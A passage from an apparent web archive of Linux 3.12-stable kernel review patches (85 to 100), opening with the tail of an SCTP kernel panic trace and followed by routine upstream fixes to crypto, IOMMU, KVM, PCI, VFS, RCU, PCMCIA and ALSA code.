? chksum_update+0x1b/0x27 [crc32c_generic] [<ffffffff81283f3e>] ? crypto_shash_update+0xce/0xf0 [<ffffffffa05d3993>] sctp_endpoint_bh_rcv+0x113/0x280 [sctp] [<ffffffffa05dd4e6>] sctp_inq_push+0x46/0x60 [sctp] [<ffffffffa05ed7a0>] sctp_rcv+0x880/0x910 [sctp] [<ffffffffa05ecb50>] ? sctp_packet_transmit_chunk+0xb0/0xb0 [sctp] [<ffffffffa05ecb70>] ? sctp_csum_update+0x20/0x20 [sctp] [<ffffffff814b05a5>] ? ip_route_input_noref+0x235/0xd30 [<ffffffff81051d6b>] ? ack_ioapic_level+0x7b/0x150 [<ffffffff814b27be>] ip_local_deliver_finish+0xae/0x210 [<ffffffff814b2e15>] ip_local_deliver+0x35/0x90 [<ffffffff814b2a15>] ip_rcv_finish+0xf5/0x370 [<ffffffff814b3128>] ip_rcv+0x2b8/0x3a0 [<ffffffff81474193>] __netif_receive_skb_core+0x763/0xa50 [<ffffffff81476c28>] __netif_receive_skb+0x18/0x60 [<ffffffff81476cb0>] netif_receive_skb_internal+0x40/0xd0 [<ffffffff814776c8>] napi_gro_receive+0xe8/0x120 [<ffffffffa03946aa>] rtl8169_poll+0x2da/0x660 [r8169] [<ffffffff8147896a>] net_rx_action+0x21a/0x360 [<ffffffff81078dc1>] __do_softirq+0xe1/0x2d0 [<ffffffff8107912d>] irq_exit+0xad/0xb0 [<ffffffff8157d158>] do_IRQ+0x58/0xf0 [<ffffffff8157b06d>] common_interrupt+0x6d/0x6d <EOI> [<ffffffff810e1218>] ? hrtimer_start+0x18/0x20 [<ffffffffa05d65f9>] ? sctp_transport_destroy_rcu+0x29/0x30 [sctp] [<ffffffff81020c50>] ? mwait_idle+0x60/0xa0 [<ffffffff810216ef>] arch_cpu_idle+0xf/0x20 [<ffffffff810b731c>] cpu_startup_entry+0x3ec/0x480 [<ffffffff8156b365>] rest_init+0x85/0x90 [<ffffffff818eb035>] start_kernel+0x48b/0x4ac [<ffffffff818ea120>] ? early_idt_handlers+0x120/0x120 [<ffffffff818ea339>] x86_64_start_reservations+0x2a/0x2c [<ffffffff818ea49c>] x86_64_start_kernel+0x161/0x184 Code: 90 48 8b 80 b8 00 00 00 48 89 85 70 ff ff ff 48 83 bd 70 ff ff ff 00 0f 85 cd fa ff ff 48 89 df 31 db e8 18 63 e7 e0 48 8b 45 80 <48> 8b 40 20 48 8b 40 30 48 8b 80 68 01 00 00 65 48 ff 40 78 e9 RIP [<ffffffffa05ec9ac>] sctp_packet_transmit+0x63c/0x730 [sctp] RSP <ffff880127c037b8> CR2: 0000000000000020 ---[ end trace 5aec7fd2dc983574 ]--- Kernel panic - not syncing: Fatal exception in interrupt Kernel Offset: 0x0 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffff9fffffff) drm_kms_helper: panic occurred, switching back to text console ---[ end Kernel panic - not syncing: Fatal exception in interrupt
--- net/sctp/output.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-)
net/sctp/output.c +3 -1
@@ -606,7 +606,9 @@ out:return err; no_route:kfree_skb (nskb); -IP_INC_STATS (sock_net (asoc->base.sk),IPSTATS_MIB_OUTNOROUTES ); + +if (asoc) +IP_INC_STATS (sock_net (asoc->base.sk),IPSTATS_MIB_OUTNOROUTES );/* FIXME: Returning the 'err' will effect all the associations * associated with a socket, although only one of the paths of the
Signature · 1 line
2.4.6
PATCH 85/124 crypto: talitos - avoid memleak in talitos_alg_alloc()
In reply to Jiri SlabyFrom: Horia Geant? <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 5fa7dadc898567ce14d6d6d427e7bd8ce6eb5d39 upstream.
--- drivers/crypto/talitos.c | 1 + 1 file changed, 1 insertion(+)
drivers/crypto/talitos.c +1 -0
@@ -2563,6 +2563,7 @@ static struct talitos_crypto_alg *talitos_alg_alloc(struct device *dev,break ;default :dev_err (dev,"unknown algorithm type %d\n" , t_alg->algt.type); +kfree (t_alg);return ERR_PTR (-EINVAL ); }
Signature · 1 line
2.4.6
PATCH 86/124 Revert "crypto: talitos - convert to use be16_add_cpu()"
In reply to Jiri SlabyFrom: Horia Geant? <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 69d9cd8c592f1abce820dbce7181bbbf6812cfbd upstream.
This reverts commit 7291a932c6e27d9768e374e9d648086636daf61c.
The conversion to be16_add_cpu() is incorrect in case cryptlen is negative due to premature (i.e. before addition / subtraction) implicit conversion of cryptlen (int -> u16) leading to sign loss.
--- drivers/crypto/talitos.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-)
drivers/crypto/talitos.c +2 -1
@@ -935,7 +935,8 @@ static int sg_to_link_tbl(struct scatterlist *sg, int sg_count, sg_count--; link_tbl_ptr--; } -be16_add_cpu (&link_tbl_ptr->len, cryptlen); + link_tbl_ptr->len =cpu_to_be16 (be16_to_cpu (link_tbl_ptr->len) + + cryptlen);/* tag end of link table */ link_tbl_ptr->j_extent =DESC_PTR_LNKTBL_RETURN ;
Signature · 1 line
2.4.6
PATCH 87/124 iommu/amd: Handle large pages correctly in free_pagetable
In reply to Jiri SlabyFrom: Joerg Roedel <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 0b3fff54bc01e8e6064d222a33e6fa7adabd94cd upstream.
Make sure that we are skipping over large PTEs while walking the page-table tree.
--- drivers/iommu/amd_iommu.c | 6 ++++++ 1 file changed, 6 insertions(+)
drivers/iommu/amd_iommu.c +6 -0
@@ -1915,9 +1915,15 @@ static void free_pt_##LVL (unsigned long __pt) \ pt = (u64 *)__pt; \ \for (i =0 ; i <512 ; ++i) { \ +/* PTE present? */ \if (!IOMMU_PTE_PRESENT (pt[i])) \continue ; \ \ +/* Large PTE? */ \ +if (PM_PTE_LEVEL (pt[i]) ==0 || \ +PM_PTE_LEVEL (pt[i]) ==7 ) \ +continue ; \ + \ p = (unsigned long )IOMMU_PTE_PAGE (pt[i]); \FN (p); \ } \
Signature · 1 line
2.4.6
PATCH 88/124 arm: KVM: force execution of HCPTR access on VM exit
In reply to Jiri SlabyFrom: Marc Zyngier <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 85e84ba31039595995dae80b277378213602891b upstream.
On VM entry, we disable access to the VFP registers in order to perform a lazy save/restore of these registers.
On VM exit, we restore access, test if we did enable them before, and save/restore the guest/host registers if necessary. In this sequence, the FPEXC register is always accessed, irrespective of the trapping configuration.
If the guest didn't touch the VFP registers, then the HCPTR access has now enabled such access, but we're missing a barrier to ensure architectural execution of the new HCPTR configuration. If the HCPTR access has been delayed/reordered, the subsequent access to FPEXC will cause a trap, which we aren't prepared to handle at all.
The same condition exists when trapping to enable VFP for the guest.
The fix is to introduce a barrier after enabling VFP access. In the vmexit case, it can be relaxed to only takes place if the guest hasn't accessed its view of the VFP registers, making the access to FPEXC safe.
The set_hcptr macro is modified to deal with both vmenter/vmexit and vmtrap operations, and now takes an optional label that is branched to when the guest hasn't touched the VFP registers.
--- arch/arm/kvm/interrupts.S | 10 ++++------ arch/arm/kvm/interrupts_head.S | 20 ++++++++++++++++++-- 2 files changed, 22 insertions(+), 8 deletions(-)
arch/arm/kvm/interrupts.S +4 -6
@@ -159,13 +159,9 @@ __kvm_vcpu_return: @ Don't trap coprocessor accesses for host kernel set_hstr vmexit set_hdcr vmexit - set_hcptr vmexit, (HCPTR_TTA | HCPTR_TCP(10) | HCPTR_TCP(11)) + set_hcptr vmexit, (HCPTR_TTA | HCPTR_TCP(10) | HCPTR_TCP(11)), after_vfp_restore #ifdef CONFIG_VFPv3 - @ Save floating point registers we if let guest use them. - tst r2, #(HCPTR_TCP(10) | HCPTR_TCP(11)) - bne after_vfp_restore - @ Switch VFP/NEON hardware state to the host's add r7, vcpu, #VCPU_VFP_GUEST store_vfp_state r7
@@ -177,6 +173,8 @@ after_vfp_restore: @ Restore FPEXC_EN which we clobbered on entry pop {r2} VFPFMXR FPEXC, r2 +#else +after_vfp_restore: #endif @ Reset Hyp-role
@@ -467,7 +465,7 @@ switch_to_guest_vfp: push {r3-r7} @ NEON/VFP used. Turn on VFP access. - set_hcptr vmexit, (HCPTR_TCP(10) | HCPTR_TCP(11)) + set_hcptr vmtrap, (HCPTR_TCP(10) | HCPTR_TCP(11)) @ Switch VFP/NEON hardware state to the guest's add r7, r0, #VCPU_VFP_HOST
arch/arm/kvm/interrupts_head.S +18 -2
@@ -578,8 +578,13 @@ vcpu .req r0 @ vcpu pointer always in r0 .endm /* Configures the HCPTR (Hyp Coprocessor Trap Register) on entry/return - * (hardware reset value is 0). Keep previous value in r2. */ -.macro set_hcptr operation, mask + * (hardware reset value is 0). Keep previous value in r2. + * An ISB is emited on vmexit/vmtrap, but executed on vmexit only if + * VFP wasn't already enabled (always executed on vmtrap). + * If a label is specified with vmexit, it is branched to if VFP wasn't + * enabled. + */ +.macro set_hcptr operation, mask, label = none mrc p15, 4, r2, c1, c1, 2 ldr r3, =\mask .if \operation == vmentry
@@ -588,6 +593,17 @@ vcpu .req r0 @ vcpu pointer always in r0 bic r3, r2, r3 @ Don't trap defined coproc-accesses .endif mcr p15, 4, r3, c1, c1, 2 + .if \operation != vmentry + .if \operation == vmexit + tst r2, #(HCPTR_TCP(10) | HCPTR_TCP(11)) + beq 1f + .endif + isb + .if \label != none + b \label + .endif +1: + .endif .endm /* Configures the HDCR (Hyp Debug Configuration Register) on entry/return
Signature · 1 line
2.4.6
PATCH 89/124 powerpc/perf: Fix book3s kernel to userspace backtraces
In reply to Jiri SlabyFrom: Anton Blanchard <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 72e349f1124a114435e599479c9b8d14bfd1ebcd upstream.
When we take a PMU exception or a software event we call perf_read_regs(). This overloads regs->result with a boolean that describes if we should use the sampled instruction address register (SIAR) or the regs.
If the exception is in kernel, we start with the kernel regs and backtrace through the kernel stack. At this point we switch to the userspace regs and backtrace the user stack with perf_callchain_user().
Unfortunately these regs have not got the perf_read_regs() treatment, so regs->result could be anything. If it is non zero, perf_instruction_pointer() decides to use the SIAR, and we get issues like this:
0.11% qemu-system-ppc [kernel.kallsyms] [k] _raw_spin_lock_irqsave
|
---_raw_spin_lock_irqsave
|
|--52.35%-- 0
| |
| |--46.39%-- __hrtimer_start_range_ns
| | kvmppc_run_core
| | kvmppc_vcpu_run_hv
| | kvmppc_vcpu_run
| | kvm_arch_vcpu_ioctl_run
| | kvm_vcpu_ioctl
| | do_vfs_ioctl
| | sys_ioctl
| | system_call
| | |
| | |--67.08%-- _raw_spin_lock_irqsave <--- hi mum
| | | |
| | | --100.00%-- 0x7e714
| | | 0x7e714
Notice the bogus _raw_spin_irqsave when we transition from kernel (system_call) to userspace (0x7e714). We inserted what was in the SIAR.
Add a check in regs_use_siar() to check that the regs in question are from a PMU exception. With this fix the backtrace makes sense:
0.47% qemu-system-ppc [kernel.vmlinux] [k] _raw_spin_lock_irqsave
|
---_raw_spin_lock_irqsave
|
|--53.83%-- 0
| |
| |--44.73%-- hrtimer_try_to_cancel
| | kvmppc_start_thread
| | kvmppc_run_core
| | kvmppc_vcpu_run_hv
| | kvmppc_vcpu_run
| | kvm_arch_vcpu_ioctl_run
| | kvm_vcpu_ioctl
| | do_vfs_ioctl
| | sys_ioctl
| | system_call
| | __ioctl
| | 0x7e714
| | 0x7e714
--- arch/powerpc/perf/core-book3s.c | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-)
arch/powerpc/perf/core-book3s.c +10 -1
@@ -124,7 +124,16 @@ static inline void power_pmu_bhrb_read(struct cpu_hw_events *cpuhw) {}static bool regs_use_siar (struct pt_regs *regs) { -return !!regs->result; +/* +* When we take a performance monitor exception the regs are setup +* using perf_read_regs() which overloads some fields, in particular +* regs->result to tell us whether to use SIAR. +* +* However if the regs are from another exception, eg. a syscall, then +* they have not been setup using perf_read_regs() and so regs->result +* is something random. +*/ +return ((TRAP (regs) ==0xf00 ) && regs->result); }/*
Signature · 1 line
2.4.6
PATCH 90/124 x86/PCI: Use host bridge _CRS info on Foxconn K8M890-8237A
In reply to Jiri SlabyFrom: Bjorn Helgaas <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 1dace0116d0b05c967d94644fc4dfe96be2ecd3d upstream.
The Foxconn K8M890-8237A has two PCI host bridges, and we can't assign resources correctly without the information from _CRS that tells us which address ranges are claimed by which bridge. In the bugs mentioned below, we incorrectly assign a sound card address (this example is from 1033299):
bus: 00 index 2 [mem 0x80000000-0xfcffffffff]
ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-7f])
pci_root PNP0A08:00: host bridge window [mem 0x80000000-0xbfefffff] (ignored)
pci_root PNP0A08:00: host bridge window [mem 0xc0000000-0xdfffffff] (ignored)
pci_root PNP0A08:00: host bridge window [mem 0xf0000000-0xfebfffff] (ignored)
ACPI: PCI Root Bridge [PCI1] (domain 0000 [bus 80-ff])
pci_root PNP0A08:01: host bridge window [mem 0xbff00000-0xbfffffff] (ignored)
pci 0000:80:01.0: [1106:3288] type 0 class 0x000403
pci 0000:80:01.0: reg 10: [mem 0xbfffc000-0xbfffffff 64bit]
pci 0000:80:01.0: address space collision: [mem 0xbfffc000-0xbfffffff 64bit] conflicts with PCI Bus #00 [mem 0x80000000-0xfcffffffff] pci 0000:80:01.0: BAR 0: assigned [mem 0xfd00000000-0xfd00003fff 64bit]
BUG: unable to handle kernel paging request at ffffc90000378000 IP: [<ffffffffa0345f63>] azx_create+0x37c/0x822 [snd_hda_intel]
We assigned 0xfd_0000_0000, but that is not in any of the host bridge windows, and the sound card doesn't work.
Turn on pci=use_crs automatically for this system.
--- arch/x86/pci/acpi.c | 11 +++++++++++ 1 file changed, 11 insertions(+)
arch/x86/pci/acpi.c +11 -0
@@ -84,6 +84,17 @@ static const struct dmi_system_id pci_crs_quirks[] __initconst = { DMI_MATCH(DMI_BIOS_VENDOR, "Phoenix Technologies, LTD"), }, }, +/* https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/931368 */ +/* https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1033299 */ + { + .callback = set_use_crs, + .ident = "Foxconn K8M890-8237A", + .matches = { + DMI_MATCH(DMI_BOARD_VENDOR, "Foxconn"), + DMI_MATCH(DMI_BOARD_NAME, "K8M890-8237A"), + DMI_MATCH(DMI_BIOS_VENDOR, "Phoenix Technologies, LTD"), + }, + }, /* Now for the blacklist.. */
Signature · 1 line
2.4.6
PATCH 91/124 MIPS: Fix KVM guest fixmap address
In reply to Jiri SlabyFrom: James Hogan <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 8e748c8d09a9314eedb5c6367d9acfaacddcdc88 upstream.
KVM guest kernels for trap & emulate run in user mode, with a modified set of kernel memory segments. However the fixmap address is still in the normal KSeg3 region at 0xfffe0000 regardless, causing problems when cache alias handling makes use of them when handling copy on write.
Therefore define FIXADDR_TOP as 0x7ffe0000 in the guest kernel mapped region when CONFIG_KVM_GUEST is defined.
Patchwork: https://patchwork.linux-mips.org/patch/9887/
--- arch/mips/include/asm/mach-generic/spaces.h | 4 ++++ 1 file changed, 4 insertions(+)
arch/mips/include/asm/mach-generic/spaces.h +4 -0
@@ -94,7 +94,11 @@#endif #ifndef FIXADDR_TOP +#ifdef CONFIG_KVM_GUEST +#define FIXADDR_TOP ((unsigned long)(long)(int)0x7ffe0000) +#else #define FIXADDR_TOP ((unsigned long)(long)(int)0xfffe0000)#endif +#endif #endif /* __ASM_MACH_GENERIC_SPACES_H */
Signature · 1 line
2.4.6
PATCH 92/124 KVM: x86: make vapics_in_nmi_mode atomic
In reply to Jiri SlabyFrom: Radim Krčmář <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 42720138b06301cc8a7ee8a495a6d021c4b6a9bc upstream.
Writes were a bit racy, but hard to turn into a bug at the same time. (Particularly because modern Linux doesn't use this feature anymore.)
[Actually the next patch makes it much, much easier to trigger the race
so I'm including this one for stable@ as well. - Paolo]
--- arch/x86/include/asm/kvm_host.h | 2 +- arch/x86/kvm/i8254.c | 2 +- arch/x86/kvm/lapic.c | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-)
arch/x86/include/asm/kvm_host.h +1 -1
@@ -562,7 +562,7 @@ struct kvm_arch {struct kvm_pic *vpic;struct kvm_ioapic *vioapic;struct kvm_pit *vpit; -int vapics_in_nmi_mode; +atomic_t vapics_in_nmi_mode;struct mutex apic_map_lock;struct kvm_apic_map *apic_map;
arch/x86/kvm/i8254.c +1 -1
@@ -305,7 +305,7 @@ static void pit_do_work(struct kthread_work *work)* LVT0 to NMI delivery. Other PIC interrupts are just sent to * VCPU0, and only if its LVT0 is in EXTINT mode. */ -if (kvm->arch.vapics_in_nmi_mode >0 ) +if (atomic_read (&kvm->arch.vapics_in_nmi_mode) >0 )kvm_for_each_vcpu (i, vcpu, kvm)kvm_apic_nmi_wd_deliver (vcpu); }
arch/x86/kvm/lapic.c +2 -2
@@ -1088,10 +1088,10 @@ static void apic_manage_nmi_watchdog(struct kvm_lapic *apic, u32 lvt0_val)if (!nmi_wd_enabled) {apic_debug ("Receive NMI setting on APIC_LVT0 " "for cpu %d\n" , apic->vcpu->vcpu_id); - apic->vcpu->kvm->arch.vapics_in_nmi_mode++; +atomic_inc (&apic->vcpu->kvm->arch.vapics_in_nmi_mode); } }else if (nmi_wd_enabled) - apic->vcpu->kvm->arch.vapics_in_nmi_mode--; +atomic_dec (&apic->vcpu->kvm->arch.vapics_in_nmi_mode); }static int apic_reg_write (struct kvm_lapic *apic,u32 reg,u32 val)
Signature · 1 line
2.4.6
PATCH 93/124 fs: Fix S_NOSEC handling
In reply to Jiri SlabyFrom: Jan Kara <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 2426f3910069ed47c0cc58559a6d088af7920201 upstream.
file_remove_suid() could mistakenly set S_NOSEC inode bit when root was modifying the file. As a result following writes to the file by ordinary user would avoid clearing suid or sgid bits.
Fix the bug by checking actual mode bits before setting S_NOSEC.
--- fs/inode.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
fs/inode.c +2 -2
@@ -1599,8 +1599,8 @@ int file_remove_suid(struct file *file) error =security_inode_killpriv (dentry);if (!error && killsuid) error =__remove_suid (dentry, killsuid); -if (!error && (inode->i_sb->s_flags &MS_NOSEC )) - inode->i_flags |=S_NOSEC ; +if (!error) +inode_has_no_xattr (inode);return error; }
Signature · 1 line
2.4.6
PATCH 94/124 vfs: Remove incorrect debugging WARN in prepend_path
In reply to Jiri SlabyFrom: "Eric W. Biederman" <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 93e3bce6287e1fb3e60d3324ed08555b5bbafa89 upstream.
The warning message in prepend_path is unclear and outdated. It was added as a warning that the mechanism for generating names of pseudo files had been removed from prepend_path and d_dname should be used instead. Unfortunately the warning reads like a general warning, making it unclear what to do with it.
Remove the warning. The transition it was added to warn about is long over, and I added code several years ago which in rare cases causes the warning to fire on legitimate code, and the warning is now firing and scaring people for no good reason.
--- fs/dcache.c | 11 ----------- 1 file changed, 11 deletions(-)
fs/dcache.c +0 -11
@@ -2812,17 +2812,6 @@ restart: vfsmnt = &mnt->mnt;continue ; } -/* -* Filesystems needing to implement special "root names" -* should do so with ->d_dname() -*/ -if (IS_ROOT (dentry) && - (dentry->d_name.len !=1 || - dentry->d_name.name[0 ] !='/' )) { -WARN (1 ,"Root dentry has weird name <%.*s>\n" , - (int ) dentry->d_name.len, - dentry->d_name.name); - }if (!error) error =is_mounted (vfsmnt) ?1 :2 ;break ;
Signature · 1 line
2.4.6
PATCH 95/124 vfs: Ignore unlocked mounts in fs_fully_visible
From: "Eric W. Biederman" <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit ceeb0e5d39fcdf4dca2c997bf225c7fc49200b37 upstream.
Limit the mounts fs_fully_visible considers to locked mounts. Unlocked can always be unmounted so considering them adds hassle but no security benefit.
--- fs/namespace.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-)
fs/namespace.c +6 -2
@@ -2939,11 +2939,15 @@ bool fs_fully_visible(struct file_system_type *type)if (mnt->mnt.mnt_root != mnt->mnt.mnt_sb->s_root)continue ; -/* This mount is not fully visible if there are any child mounts -* that cover anything except for empty directories. +/* This mount is not fully visible if there are any +* locked child mounts that cover anything except for +* empty directories. */ list_for_each_entry (child, &mnt->mnt_mounts, mnt_child) {struct inode *inode = child->mnt_mountpoint->d_inode; +/* Only worry about locked mounts */ +if (!(mnt->mnt.mnt_flags &MNT_LOCKED )) +continue ;if (!S_ISDIR (inode->i_mode)) goto next;if (inode->i_nlink >2 )
Signature · 1 line
2.4.6
PATCH 96/124 x86/PCI: Use host bridge _CRS info on systems with >32 bit addressing
In reply to Jiri SlabyFrom: Bjorn Helgaas <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 3d9fecf6bfb8b12bc2f9a4c7109895a2a2bb9436 upstream.
We enable _CRS on all systems from 2008 and later. On older systems, we ignore _CRS and assume the whole physical address space (excluding RAM and other devices) is available for PCI devices, but on systems that support physical address spaces larger than 4GB, it's doubtful that the area above 4GB is really available for PCI.
After d56dbf5bab8c ("PCI: Allocate 64-bit BARs above 4G when possible"), we try to use that space above 4GB *first*, so we're more likely to put a device there.
On Juan's Toshiba Satellite Pro U200, BIOS left the graphics, sound, 1394, and card reader devices unassigned (but only after Windows had been booted). Only the sound device had a 64-bit BAR, so it was the only device placed above 4GB, and hence the only device that didn't work.
Keep _CRS enabled even on pre-2008 systems if they support physical address space larger than 4GB.
--- arch/x86/pci/acpi.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-)
arch/x86/pci/acpi.c +4 -2
@@ -135,8 +135,10 @@ void __init pci_acpi_crs_quirks(void) {int year; -if (dmi_get_date (DMI_BIOS_DATE , &year,NULL ,NULL ) && year <2008 ) - pci_use_crs = false; +if (dmi_get_date (DMI_BIOS_DATE , &year,NULL ,NULL ) && year <2008 ) { +if (iomem_resource.end <=0xffffffff ) + pci_use_crs = false; + }dmi_check_system (pci_crs_quirks);
Signature · 1 line
2.4.6
PATCH 97/124 rcu: Correctly handle non-empty Tiny RCU callback list with none ready
In reply to Jiri SlabyFrom: "Paul E. McKenney" <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 6e91f8cb138625be96070b778d9ba71ce520ea7e upstream.
If, at the time __rcu_process_callbacks() is invoked, there are callbacks in Tiny RCU's callback list, but none of them are ready to be invoked, the current list-management code will knit the non-ready callbacks out of the list. This can result in hangs and possibly worse. This commit therefore inserts a check for there being no callbacks that can be invoked immediately.
This bug is unlikely to occur -- you have to get a new callback between the time rcu_sched_qs() or rcu_bh_qs() was called, but before we get to __rcu_process_callbacks(). It was detected by the addition of RCU-bh testing to rcutorture, which in turn was instigated by Iftekhar Ahmed's mutation testing. Although this bug was made much more likely by 915e8a4fe45e (rcu: Remove fastpath from __rcu_process_callbacks()), this
did not cause the bug, but rather made it much more probable. That
said, it takes more than 40 hours of rcutorture testing, on average, for this bug to appear, so this fix cannot be considered an emergency.
--- kernel/rcutiny.c | 5 +++++ 1 file changed, 5 insertions(+)
kernel/rcutiny.c +5 -0
@@ -282,6 +282,11 @@ static void __rcu_process_callbacks(struct rcu_ctrlblk *rcp)/* Move the ready-to-invoke callbacks to a local list. */ local_irq_save (flags); +if (rcp->donetail == &rcp->rcucblist) { +/* No callbacks ready, so just leave. */ +local_irq_restore (flags); +return ; + }RCU_TRACE (trace_rcu_batch_start (rcp->name,0 , rcp->qlen,-1 )); list = rcp->rcucblist; rcp->rcucblist = *rcp->donetail;
Signature · 1 line
2.4.6
PATCH 98/124 ipr: Increase default adapter init stage change timeout
In reply to Jiri SlabyFrom: Brian King <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 45c44b5ff9caa743ed9c2bfd44307c536c9caf1e upstream.
Increase the default init stage change timeout from 15 seconds to 30 seconds. This resolves issues we have seen with some adapters not transitioning to the first init stage within 15 seconds, which results in adapter initialization failures.
--- drivers/scsi/ipr.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/scsi/ipr.h +1 -1
@@ -267,7 +267,7 @@#define IPR_RUNTIME_RESET 0x40000000#define IPR_IPL_INIT_MIN_STAGE_TIME 5 -#define IPR_IPL_INIT_DEFAULT_STAGE_TIME 15 +#define IPR_IPL_INIT_DEFAULT_STAGE_TIME 30#define IPR_IPL_INIT_STAGE_UNKNOWN 0x0#define IPR_IPL_INIT_STAGE_TRANSOP 0xB0000000#define IPR_IPL_INIT_STAGE_MASK 0xff000000
Signature · 1 line
2.4.6
PATCH 99/124 Disable write buffering on Toshiba ToPIC95
In reply to Jiri SlabyFrom: Ryan Underwood <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 2fb22a8042fe96b4220843f79241c116d90922c4 upstream.
Disable write buffering on the Toshiba ToPIC95 if it is enabled by somebody (it is not supposed to be a power-on default according to the datasheet). On the ToPIC95, practically no 32-bit Cardbus card will work under heavy load without locking up the whole system if this is left enabled. I tried about a dozen. It does not affect 16-bit cards. This is similar to the O2 bugs in early controller revisions it seems.
Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=55961
--- drivers/pcmcia/topic.h | 16 ++++++++++++++++ 1 file changed, 16 insertions(+)
drivers/pcmcia/topic.h +16 -0
@@ -104,6 +104,9 @@#define TOPIC_EXCA_IF_CONTROL 0x3e/* 8 bit */ #define TOPIC_EXCA_IFC_33V_ENA 0x01 +#define TOPIC_PCI_CFG_PPBCN 0x3e/* 16-bit */ +#define TOPIC_PCI_CFG_PPBCN_WBEN 0x0400 +static void topic97_zoom_video (struct pcmcia_socket *sock,int onoff) { struct yenta_socket *socket = container_of(sock, struct yenta_socket, socket);
@@ -138,6 +141,7 @@ static int topic97_override(struct yenta_socket *socket)static int topic95_override (struct yenta_socket *socket) {u8 fctrl; +u16 ppbcn;/* enable 3.3V support for 16bit cards */ fctrl =exca_readb (socket,TOPIC_EXCA_IF_CONTROL );
@@ -146,6 +150,18 @@ static int topic95_override(struct yenta_socket *socket)/* tell yenta to use exca registers to power 16bit cards */ socket->flags |=YENTA_16BIT_POWER_EXCA |YENTA_16BIT_POWER_DF ; +/* Disable write buffers to prevent lockups under load with numerous +Cardbus cards, observed on Tecra 500CDT and reported elsewhere on the +net. This is not a power-on default according to the datasheet +but some BIOSes seem to set it. */ +if (pci_read_config_word (socket->dev,TOPIC_PCI_CFG_PPBCN , &ppbcn) ==0 + && socket->dev->revision <=7 + && (ppbcn &TOPIC_PCI_CFG_PPBCN_WBEN )) { + ppbcn &= ~TOPIC_PCI_CFG_PPBCN_WBEN ; +pci_write_config_word (socket->dev,TOPIC_PCI_CFG_PPBCN , ppbcn); +dev_info (&socket->dev->dev,"Disabled ToPIC95 Cardbus write buffers.\n" ); + } +return 0 ; }
Signature · 1 line
2.4.6
PATCH 100/124 ALSA: hda - Add headset support to Acer Aspire V5
In reply to Jiri SlabyFrom: Takashi Iwai <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 7819717b11346b8a5420b223b46600e394049c66 upstream.
Acer Aspire V5 with ALC282 codec needs the similar quirk like Dell laptops to support the headset mic. The headset mic pin is 0x19 and it's not exposed by BIOS, thus we need to fix the pincfg as well.
Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=96201
--- sound/pci/hda/patch_realtek.c | 12 ++++++++++++ 1 file changed, 12 insertions(+)
sound/pci/hda/patch_realtek.c +12 -0
@@ -3730,6 +3730,7 @@ enum {ALC269_FIXUP_DELL3_MIC_NO_PRESENCE ,ALC269_FIXUP_HEADSET_MODE ,ALC269_FIXUP_HEADSET_MODE_NO_HP_MIC , +ALC269_FIXUP_ASPIRE_HEADSET_MIC ,ALC269_FIXUP_ASUS_X101_FUNC ,ALC269_FIXUP_ASUS_X101_VERB , ALC269_FIXUP_ASUS_X101,
@@ -3959,6 +3960,15 @@ static const struct hda_fixup alc269_fixups[] = { .type = HDA_FIXUP_FUNC, .v.func = alc_fixup_headset_mode_no_hp_mic, }, + [ALC269_FIXUP_ASPIRE_HEADSET_MIC] = { + .type = HDA_FIXUP_PINS, + .v.pins = (const struct hda_pintbl []) { + {0x19 ,0x01a1913c },/* headset mic w/o jack detect */ + { } + }, + .chained = true, + .chain_id = ALC269_FIXUP_HEADSET_MODE, + }, [ALC286_FIXUP_SONY_MIC_NO_PRESENCE] = { .type = HDA_FIXUP_PINS, .v.pins = (const struct hda_pintbl []) {
@@ -4071,6 +4081,8 @@ static const struct snd_pci_quirk alc269_fixup_tbl[] = {SND_PCI_QUIRK (0x1025 ,0x029b ,"Acer 1810TZ" ,ALC269_FIXUP_INV_DMIC ),SND_PCI_QUIRK (0x1025 ,0x0349 ,"Acer AOD260" ,ALC269_FIXUP_INV_DMIC ),SND_PCI_QUIRK (0x1025 ,0x047c ,"Acer AC700" ,ALC269_FIXUP_ACER_AC700 ), +SND_PCI_QUIRK (0x1025 ,0x072d ,"Acer Aspire V5-571G" ,ALC269_FIXUP_ASPIRE_HEADSET_MIC ), +SND_PCI_QUIRK (0x1025 ,0x080d ,"Acer Aspire V5-122P" ,ALC269_FIXUP_ASPIRE_HEADSET_MIC ),SND_PCI_QUIRK (0x1025 ,0x0740 ,"Acer AO725" ,ALC271_FIXUP_HP_GATE_MIC_JACK ),SND_PCI_QUIRK (0x1025 ,0x0742 ,"Acer AO756" ,ALC271_FIXUP_HP_GATE_MIC_JACK ), SND_PCI_QUIRK_VENDOR(0x1025, "Acer Aspire", ALC271_FIXUP_DMIC),
